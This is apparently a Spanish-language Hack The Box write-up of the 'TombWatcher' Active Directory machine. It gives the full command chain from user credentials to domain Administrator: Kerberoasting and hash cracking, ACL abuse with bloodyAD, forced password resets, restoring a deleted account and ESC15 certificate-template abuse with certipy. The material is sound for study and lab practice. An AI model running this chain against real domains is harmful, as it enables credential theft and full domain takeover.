Skip to content

TombWatcher ⭐

#htb #windows #ActiveDirectory #adcs #esc15 #bloodyad #kerberoasting #hashcat #writeup

WRITEUP : HTB-Vigilante de tumbas · Blog de HYH

henry / H3nry_987TGV!
bash
nxc smb 10.10.11.72
bash
echo "10.10.11.72 tombwatcher.htb DC01 DC01.tombwatcher.htb" >> /etc/hosts
bash
dnsrecon -a -n 10.10.11.72 -d tombwatcher.htb
bash
ldapdomaindump -u 'tombwatcher.htb\henry' -p 'H3nry_987TGV!' 10.10.11.72
bash
netexec smb 10.10.11.72 -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb --shares
bash
rpcclient -U 'henry%H3nry_987TGV!' 10.10.11.72 -c "enumdomusers" | tr '[]' ' '| awk '{print $2}' > users.txti
bash
impacket-GetNPUsers tombwatcher.htb/ -no-pass -usersfile users.txt
bash
impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!'  -request
bash
nmap --script ldap-\* -p 389,636,3268,3269 10.10.11.72
BASH
sudo python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry  -p 'H3nry_987TGV!' --request-user alfred -o alfred.kerb
hashcat  -a 0 alfred.kerb /usr/share/wordlists/rockyou.txt --force -m 13100
alfred : basketball
bash
bloodyAD --host 10.10.11.72 -d DC01.tombwatcher.htb -u alfred -p basketball  add groupMember 'INFRASTRUCTURE' alfred
bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'alfred' -p 'basketball' get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
bash
netexec smb 10.10.11.72 -u 'ANSIBLE_DEV$' -H '4b21348ca4a9edff9689cdf75cbda439' -d tombwatcher.htb
bash
rpcclient -U 'tombwatcher.htb\ANSIBLE_DEV$%4b21348ca4a9edff9689cdf75cbda439' --pw-nt-hash 10.10.11.72
setuserinfo2 sam 23 'PASS'
bash
netexec smb 10.10.11.72 -u 'sam' -p 'PASS' -d tombwatcher.htb
bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' set owner john sam
bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' add genericAll 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' sam
bash
rpcclient -U 'sam%PASS' 10.10.11.72
setuserinfo2 john 23 'PASS'
bash
evil-winrm -i 10.10.11.72 -u 'john' -p 'PASS'

AUTOPWN

bash
rpcclient -U 'tombwatcher.htb\ANSIBLE_DEV$%4b21348ca4a9edff9689cdf75cbda439' --pw-nt-hash 10.10.11.72 -c "setuserinfo2 sam 23 'PASS'"

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' set owner john sam

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' add genericAll 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' sam

rpcclient -U 'sam%PASS' 10.10.11.72 -c "setuserinfo2 john 23 'PASS'"

evil-winrm -i 10.10.11.72 -u 'john' -p 'PASS'

Buscamos usuarios borrados:

powershell
Get-ADObject -IncludeDeletedObjects -Filter 'ObjectClass -like "user"' -Properties *

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Le habilitamos la cuenta y le cambiamos la contraseña:

bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u john -p 'PASS' remove uac 'cert_admin' -f ACCOUNTDISABLE
rpcclient -U 'john%PASS' 10.10.11.72 -c 'setuserinfo2 cert_admin 23 'PASS'

Vamos a buscarle vulns

bash
certipy find -vulnerable -u 'cert_admin' -p 'PASS' -dc-ip 10.10.11.72

Nos muestra que la plantilla WebConfig está mal configurada:

Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

Paso 1: Solicitar un certificado con permisos de agente

bash
certipy req \
  -u 'cert_admin@tombwatcher.htb' -p 'PASS' \
  -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' -template 'WebServer' \
  -application-policies 'Certificate Request Agent'

¿Qué haces aquí?

  • Estás inscribiendo un certificado válido en tu nombre (cert_admin).

  • La plantilla 'WebServer' está mal configurada: permite que el usuario elija la Application Policy manualmente.

  • Le inyectas la política "Certificate Request Agent", que permite que este certificado pueda solicitar certificados en nombre de otros usuarios.

🔴 Vulnerabilidad explotada: La plantilla permite políticas arbitrarias (Enrollee supplies subject) y no limita el uso de Certificate Request Agent.

🔐 Resultado: Se genera un certificado (cert_admin.pfx) que funciona como un agente de inscripción.


Paso 2: Usar ese certificado-agente para pedir uno en nombre de Administrator

bash
certipy req \
  -u 'cert_admin@tombwatcher.htb' -p 'PASS' \
  -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' -template 'User' \
  -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'

O podríamos loguearnos directamente :

bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell

¿Qué haces aquí?

  • Usas el certificado-agente (cert_admin.pfx) para solicitar un certificado para Administrator.

  • La opción -on-behalf-of hace que el certificado generado tenga como UPN o SAN a Administrator@tombwatcher.htb.

🔐 Resultado: Obtienes un certificado (administrator.pfx) válido para autenticarse como el usuario Administrator.


Paso 3: Autenticarse con ese certificado como Administrator

bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72'

¿Qué ocurre?

  • Usas Certipy para autenticación Kerberos basada en certificado (PKINIT).

  • Se genera un TGT (Ticket Granting Ticket) como si fueras Administrator@tombwatcher.htb.

  • Se guarda el ccache (credencial) en un archivo, que puedes usar con herramientas como secretsdump, smbclient, smbexec, kerberoast, etc.

🔑 Resultado final: Estás autenticado como Administrator del dominio y puedes actuar con plenos privilegios.


🚨 ¿Por qué funciona esto?

  • La plantilla 'WebServer' no impide la inyección de Application Policies.

  • La CA permite la emisión con política de agente sin restricción (Certificate Request Agent).

  • La plantilla 'User' permite solicitudes "en nombre de" (Enroll on behalf of).

  • No se validan los permisos del solicitante para actuar como agente de inscripción.

Notas personales de seguridad ofensiva.